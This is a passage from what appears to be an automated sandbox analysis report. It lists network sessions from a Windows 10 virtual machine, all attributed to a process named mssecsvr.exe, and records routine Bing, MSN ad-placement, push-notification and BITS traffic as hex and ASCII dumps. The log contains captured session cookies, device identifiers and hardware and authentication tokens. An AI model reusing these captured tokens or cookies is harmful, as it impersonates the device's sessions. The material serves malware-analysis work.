Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 X-Device-isOptin: true Accept-language: en-US, en X-Device-IsEnergyHero: false X-Device-Touch: false X-Device-ClientSession: 3CBFA773C2AF4C5583A2BFEA2846B3B6 X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUI X-BM-ClientFeatures: pbitcpdisabled,AmbientWidescreen,rs1musicprod,CortanaSPAXamlHeader Host: www.bing.com Connection: Keep-Alive Cookie: MUID=54AD14FB4D1E4A6C815A867991009454
2022-07-20 07:07:50 UTC	281	IN	HTTP/1.1 200 OK Cache-Control: no-store, must-revalidate, no-cache Pragma: no-cache Content-Length: 311 Content-Type: application/json; charset=utf-8 Expires: -1 P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND" Set-Cookie: SUID=M; domain=.bing.com; expires=Thu, 21-Jul-2022 07:07:50 GMT; path=/; HttpOnly Set-Cookie: MUIDB=54AD14FB4D1E4A6C815A867991009454; expires=Mon, 14-Aug-2023 07:07:50 GMT; path=/; HttpOnly Set-Cookie: _EDGE_S=SID=3743C1D5E5BB666719C1D032E45C6769&mkt=en-us&ui=en-us; domain=.bing.com; path=/; HttpOnly Set-Cookie: SRCHD=AF=NOFORM; domain=.bing.com; expires=Sat, 20-Jul-2024 07:07:50 GMT; path=/ Set-Cookie: SRCHUID=V=2&GUID=1EF68B46B5CB43F5A24D43B2F5046D4E&dmnchg=1; domain=.bing.com; expires=Sat, 20-Jul-2024 07:07:50 GMT; path=/ Set-Cookie: SRCHUSR=DOB=20220720; domain=.bing.com; expires=Sat, 20-Jul-2024 07:07:50 GMT; path=/ Set-Cookie: SRCHHPGUSR=SRCHLANG=en; domain=.bing.com; expires=Sat, 20-Jul-2024 07:07:50 GMT; path=/ Set-Cookie: ANON=A=84D464251C6428FCBF66122FFFFFFFFF; domain=.bing.com; expires=Sat, 20-Jul-2024 07:07:50 GMT; path=/ Set-Cookie: WLS=C=0000000000000000&N=; domain=.bing.com; path=/ Set-Cookie: _SS=SID=3743C1D5E5BB666719C1D032E45C6769; domain=.bing.com; path=/ Set-Cookie: BM-Identity-Error=3002; domain=.bing.com; expires=Wed, 20-Jul-2022 07:12:50 GMT; path=/ X-XSS-Protection: 0 X-Search-ErrorInfo: Error:3002,Message:'FB ID missing' X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: A11B3B0ABA3D4B00B3492A592B1396C4 Ref B: VIEEDGE3215 Ref C: 2022-07-20T07:07:50Z Date: Wed, 20 Jul 2022 07:07:50 GMT Connection: close
2022-07-20 07:07:50 UTC	283	IN	Data Raw: 7b 22 42 61 73 65 50 61 67 65 22 3a 7b 22 52 65 73 6f 75 72 63 65 73 22 3a 7b 22 53 74 79 6c 65 73 22 3a 7b 22 43 73 73 48 65 61 64 4e 6f 72 6d 61 6c 22 3a 7b 7d 2c 22 43 73 73 48 65 61 64 4f 76 65 72 72 69 64 65 22 3a 7b 7d 7d 2c 22 53 63 72 69 70 74 73 22 3a 7b 22 4a 73 48 65 61 64 54 6f 70 6d 6f 73 74 22 3a 7b 7d 2c 22 4a 73 48 65 61 64 4e 6f 72 6d 61 6c 22 3a 7b 7d 2c 22 4a 73 45 6e 64 4f 66 43 68 75 6e 6b 22 3a 7b 7d 2c 22 4a 73 42 65 66 6f 72 65 43 6f 6e 74 65 6e 74 22 3a 7b 7d 2c 22 4a 73 41 66 74 65 72 43 6f 6e 74 65 6e 74 22 3a 7b 7d 2c 22 4a 73 41 66 74 65 72 4f 6e 4c 6f 61 64 22 3a 7b 7d 7d 7d 7d 2c 22 41 6e 73 77 65 72 73 22 3a 5b 5d 2c 22 43 6f 6e 66 69 67 22 3a 7b 22 50 72 65 66 65 74 63 68 49 6e 74 65 72 76 61 6c 22 3a 37 32 30 2c 22 42 61 Data Ascii: {"BasePage":{"Resources":{"Styles":{"CssHeadNormal":{},"CssHeadOverride":{}},"Scripts":{"JsHeadTopmost":{},"JsHeadNormal":{},"JsEndOfChunk":{},"JsBeforeContent":{},"JsAfterContent":{},"JsAfterOnLoad":{}}}},"Answers":[],"Config":{"PrefetchInterval":720,"Ba

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.6	50224	20.82.209.183	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 07:07:51 UTC	283	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=280815&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:BE8AB8DF-DCD1-3523-4A95-3A04EAFF1CBA&ctry=US&time=20220720T160748Z&lc=en-US&pl=en-US&idtp=mid&uid=b029da70-c67b-4a7e-9bd5-517f7e302ed9&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=42e18a68223d49e187e0b25d90e0a9aa&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1611135&metered=false&nettype=ethernet&npid=sc-280815&oemName=rijlag%2C%20Inc.&oemid=rijlag%2C%20Inc.&ossku=Professional&smBiosDm=rijlag7%2C1&tl=2&tsu=1611135&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1 Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32250&sc=6 X-SDK-HW-TOKEN: t=EwDYAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAATpaYCQdTtGNF2/h9X4EvSM+EVBFm7iwPJGlrjBCnRLMR9WARfLGTkSLCn/GhxaaG3MFOLBZ09L0VCbmwsd3Go+KTbJ8baanzzYsSo6WOmMRtYaUjB/QMU5eDXXlq8i3Atmprhpz6lcfxF2GEnupby8zrTKY/FALGKCR0FbUPZK1dZ0I5smoB3nuQWhhoqpAHIAbwQrSt0liw2minFZXZcZxrtZr966a/ovDDIGmRJESg3dumtDNzPciy2sMT4b6AR+tbCbWu4xg1Kt0DbLvMMaEfdyKzSy7gKygthj79MvqlwwIylBEag4xn6SV8LnyNGv3qS8x+jjOruiO8k5J4Z4DZgAACM2cVdj9pZE6qAGjPsTgXZkb1zKZd1ltFjC2wWB9hBYtJujATItZAgIBFRZSKQgkzUbHrhNI2i6tgDWTTDWw+8IAYNxJQozgc8oNiSvx2y03nbT1phyS1TmoyLADbHxqjHS2/LVRztVRxy2MQCvtYe/Qg7ucAr8MMPMtXUnyczJZcE24va+hD0m375ppFr8FWpm7rtn+tesHe04q5z7pgPzM0RjUvGRObjnbw1B+H6JcgnncclOlOQJltnAn5i2JpNAL77hpHWj+gxk6gObJtBKSpm7xStwe1kWJ5DSN6N6yfr3UOtzlVomRxJFWApHVhhx4MEA/NQ8+d1UeumLYq7xcqJI5/CciIGHdGjJoRC9rmOrcZHBo0bWdQ+3rc0Rle3qm/w9TDT8uuUsfYk3tit4YxoW1OnAUEAXqd85r+CJGopr3Y9Jv6KqoMO453gVsnOL62VYRuo06pTHUX2cfqRYhLojD+TFxHP1V2Tu4Nx8JKP/f25M5kSxVarulnTYWd1W/6Wa+FfP6a0R3J0gV3Atk8ZBEiqrGugxaU3ZbNBzm2OqQ9B4aqdKX9tWysU+21/NK1gE=&p= Cache-Control: no-cache MS-CV: R4MDVFUt1EqdhKtw.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: tch0,m301,m751,mA01,mT01 Host: arc.msn.com Connection: Keep-Alive
2022-07-20 07:07:52 UTC	287	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 3046 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"RADIDS":"1,P425116123-T700333390-C128000000001627409+B+P20+S1"},{"OPTOUTSTATE":"256"}] X-ARC-SIG: Tn/fJyRJZhPgamyYOu6FRvDWc4lg1EHTid956lObG6q/qZ3wV4YP+tbwqlZDo7IqRab8JSZDRPEmZw+WTZuCLxNATyMhmFjzEzOwHaluFNhyIsX47rpgfYM4eUt6PRXFmwbV+VzaRHAl6/WTXo7cT8pNkPe8mNucjml6v7MdQQdjeMgTS8vKmdNZ3IeSrWrCBhdfmykAlVNpkyXIeTal/wIw5Z25Km7TWLzoXUbLm9SCCGrcgEn593p370liW8A+hzQ35rkkD2D602vKHof/VxhQhRVY32BsOadDXcnQ+uZ1kiiOK1ZsRBV7DsTHPEKgbWdE89T+jzxX5x1y2SL+8A== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 20 Jul 2022 07:07:51 GMT Connection: close
2022-07-20 07:07:52 UTC	288	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6e 6f 4f 70 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 61 63 74 69 6f 6e 5c 22 7d 7d 2c 5c 22 69 74 65 6d 73 5c 22 3a 5b 7b 5c 22 70 72 6f 70 65 72 74 69 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"noOp\":{\"type\":\"action\"}},\"items\":[{\"properti

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.6	50223	20.82.209.183	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 07:07:51 UTC	285	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338389&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:BE8AB8DF-DCD1-3523-4A95-3A04EAFF1CBA&ctry=US&time=20220720T160747Z&lc=en-US&pl=en-US&idtp=mid&uid=b029da70-c67b-4a7e-9bd5-517f7e302ed9&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=b9881f90ef8e410ea1730211a22b37cd&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1611135&metered=false&nettype=ethernet&npid=sc-338389&oemName=rijlag%2C%20Inc.&oemid=rijlag%2C%20Inc.&ossku=Professional&smBiosDm=rijlag7%2C1&tl=2&tsu=1611135&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1 Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32250&sc=6 X-SDK-HW-TOKEN: t=EwDYAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAZwALJb5vtWd5VHSI+TC/aa6hMz8v+dn/hExqJtvBSaeQhKfsdXtw7MSqOWqwPOK5qvsXDtALT+AoXCWbxnVnIqjkez9fBN2R/lCWIRFTtVu8YIDPViRXK7YD78tLkXUsPwfv9pvVFSWWvqTJak1CkSAf3rYbClnuY1Y+TJProEOO4ggKx09dhFBrMGvOQ/N5/SgGqek6rPPxVFc3w4BR2HIAu+f3im82yEf/P83mhJnQ/cHMEKkgbMavZ4PX87agvM1Xo0H2/PhVGVCU3mozNdD9XbnlwKQfoOgLPAsrho9rs5Gb/6t4LWYhEqv5mM7QNmczcUQhxO1+23e2eLREacDZgAACDLm9QYbBDheqAFn+JTal7sy5qgZX6o+jIc09NzDbRs7qovG6gvxepDFBTD3aZkQvJUgllLnAVEFNi2Yz2GmwFSA+0Ag3V3ZPmSqhtkryvHdUFGLf1uzvYwOTGWACkJE5xZ+Jp9+8BouwwOOTQImfdvMTlTk4mLtgvqYBGDmGzkPIyE147fD2TlN6RfWVjh/Dq4gVGEwCiAdB7qp3LGPocEwUsrZp+rw9LMlkjxsPufdVSkUaz5KzUS8n/bJsANfJ/53eL83qn2Ug6iiFSeML1iTIdqD4Xbgo5oamgfW7xR2Sek9AS44aZ3BOb7PDbIyP1X7/CvxtElt+i4Rw9GQTFXa9R0XLM7jVNnGLAzczm7USaRmxyBZI+6JwoqVXU3IMPLNeSV1MdtakXqnPJST4g+8BuL6QGp5h3ITwhWn3bfgg8B5Ot2QMYPpc6YrLP76LJs4bfFhRexiQeqxyhqNFqz+Bstx99iY0zwM3yW+6lkLTuFSqGp4r1UQ8W67d3wLUSr6hoJTJNjik/0PE2jPNGao1DTKbl3c/ZOs17kIVI4uo5gebyW4w6mhSoiR8XfatlE+1gE=&p= Cache-Control: no-cache MS-CV: R4MDVFUt1EqdhKtw.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: tch0,m301,m751,mA01,mT01 Host: arc.msn.com Connection: Keep-Alive
2022-07-20 07:07:52 UTC	291	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 3044 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"RADIDS":"1,P425116219-T700333446-C128000000001627409+B+P10+S1"},{"OPTOUTSTATE":"256"}] X-ARC-SIG: Kq3HFXJdLEPS4VWOpnIpkZfueA+SYZyTGNgkl1zVzkG/43Ker6q2dYgZKGTpH/DPvzIiQ3Ujtcyj9r6jXhUUEdpRsnu4JB1y58XnQj1dX44eL0V/j9b/tJwV/Qb43jw/1hV7/I4n0Ne5GLigLpdZLVCqSL/zInRdDFM3RG2NUrmOAxhvOUsgDVoQSxaow6K0BeDTqYhxBCotN7oJ4peYEXAxwp+Kf25TArwLGPZgIZVXhoYqDwzsKCqMA/cOQITNMeYY6OFsNRKdUmEg3dEwiF48A9nEhnJtgnzlN0WkzhaH+8V+lbVv+qrE0nSf+fme36uEIxCl6ynVfLKj135ywg== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 20 Jul 2022 07:07:51 GMT Connection: close
2022-07-20 07:07:52 UTC	292	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6e 6f 4f 70 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 61 63 74 69 6f 6e 5c 22 7d 7d 2c 5c 22 69 74 65 6d 73 5c 22 3a 5b 7b 5c 22 70 72 6f 70 65 72 74 69 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"noOp\":{\"type\":\"action\"}},\"items\":[{\"properti

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.6	50250	20.199.120.151	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 07:07:53 UTC	295	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 35 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 31 37 35 61 63 30 66 65 34 35 66 32 34 37 0d 0a 0d 0a Data Ascii: CNT 1 CON 245Context: e175ac0fe45f247
2022-07-20 07:07:53 UTC	295	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 07:07:53 UTC	295	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 31 37 35 61 63 30 66 65 34 35 66 32 34 37 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 54 67 62 38 6d 63 76 6f 59 71 2f 77 30 68 4c 32 35 4f 78 42 6b 6f 76 76 4b 55 6f 31 62 2f 59 4e 70 33 56 41 6f 66 65 41 70 6b 34 79 4d 55 44 70 75 65 52 32 34 4a 77 42 68 31 64 56 55 6a 50 48 42 38 6b 63 69 30 61 6a 74 78 41 73 4a 6f 46 6e 68 66 72 58 68 4e 4a 34 66 51 46 61 71 39 66 4b 50 49 73 38 58 37 31 4d 6d 4e 45 68 57 42 4d 41 2b 4c 43 75 4b 66 49 68 7a 65 52 39 58 73 44 32 47 2b 6f 34 53 4e 79 54 58 Data Ascii: ATH 2 CON\DEVICE 1013Context: e175ac0fe45f247<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAATgb8mcvoYq/w0hL25OxBkovvKUo1b/YNp3VAofeApk4yMUDpueR24JwBh1dVUjPHB8kci0ajtxAsJoFnhfrXhNJ4fQFaq9fKPIs8X71MmNEhWBMA+LCuKfIhzeR9XsD2G+o4SNyTX
2022-07-20 07:07:53 UTC	296	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 31 30 34 34 34 37 38 20 31 36 39 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 31 37 35 61 63 30 66 65 34 35 66 32 34 37 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 1044478 169Context: e175ac0fe45f247<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2022-07-20 07:07:53 UTC	296	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 07:07:53 UTC	296	IN	Data Raw: 4d 53 2d 43 56 3a 20 50 43 51 78 32 55 62 6f 67 55 75 67 36 58 43 72 4d 59 46 74 79 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: PCQx2UbogUug6XCrMYFtyw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.6	50288	20.199.120.85	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 07:07:56 UTC	296	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 34 64 32 31 62 35 64 37 63 33 32 32 66 61 63 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: 54d21b5d7c322fac
2022-07-20 07:07:56 UTC	296	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 07:07:56 UTC	297	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 34 64 32 31 62 35 64 37 63 33 32 32 66 61 63 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 54 67 62 38 6d 63 76 6f 59 71 2f 77 30 68 4c 32 35 4f 78 42 6b 6f 76 76 4b 55 6f 31 62 2f 59 4e 70 33 56 41 6f 66 65 41 70 6b 34 79 4d 55 44 70 75 65 52 32 34 4a 77 42 68 31 64 56 55 6a 50 48 42 38 6b 63 69 30 61 6a 74 78 41 73 4a 6f 46 6e 68 66 72 58 68 4e 4a 34 66 51 46 61 71 39 66 4b 50 49 73 38 58 37 31 4d 6d 4e 45 68 57 42 4d 41 2b 4c 43 75 4b 66 49 68 7a 65 52 39 58 73 44 32 47 2b 6f 34 53 4e 79 54 Data Ascii: ATH 2 CON\DEVICE 1014Context: 54d21b5d7c322fac<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAATgb8mcvoYq/w0hL25OxBkovvKUo1b/YNp3VAofeApk4yMUDpueR24JwBh1dVUjPHB8kci0ajtxAsJoFnhfrXhNJ4fQFaq9fKPIs8X71MmNEhWBMA+LCuKfIhzeR9XsD2G+o4SNyT
2022-07-20 07:07:56 UTC	298	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 32 39 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 34 64 32 31 62 35 64 37 63 33 32 32 66 61 63 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 29Context: 54d21b5d7c322fac
2022-07-20 07:07:56 UTC	298	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 07:07:56 UTC	298	IN	Data Raw: 4d 53 2d 43 56 3a 20 4a 41 7a 56 49 6d 64 4d 4c 30 71 68 62 55 50 65 71 36 55 58 63 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: JAzVImdML0qhbUPeq6UXcQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.6	49740	23.211.4.86	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 07:07:10 UTC	57	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2022-07-20 07:07:10 UTC	57	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0ECfXYgAAAAAwiFaIw9tkQ6dmbEGvo0keTFRTRURHRTEyMDYAY2VmYzI1ODMtYTliMi00NGE3LTk3NTUtYjc2ZDE3ZTA1Zjdm Cache-Control: public, max-age=225740 Date: Wed, 20 Jul 2022 07:07:10 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.6	50365	20.199.120.85	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 07:08:01 UTC	298	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 31 31 64 37 61 30 38 35 66 34 64 36 34 35 35 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: e11d7a085f4d6455
